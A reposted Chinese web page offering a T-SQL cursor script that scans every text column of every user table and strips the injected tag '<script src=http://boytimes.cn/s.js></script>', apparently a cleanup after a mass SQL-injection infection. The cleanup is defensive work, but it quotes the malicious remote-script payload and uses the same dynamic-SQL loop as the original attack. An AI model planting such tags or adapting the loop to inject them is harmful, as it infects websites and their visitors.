首页 > 数据库 > SQL Server > 正文

sql数据库批量处理脚本

2024-08-31 00:58:09
字体:
来源:转载
供稿:网友

复制代码 代码如下:


DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select
a.name,b.name
from sysobjects a,
syscolumns b
where a.id=b.id and
a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=replace(cast(['+@C+'] as varchar(8000)),''<script src=http://boytimes.cn/s.js></script>'','''') ')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表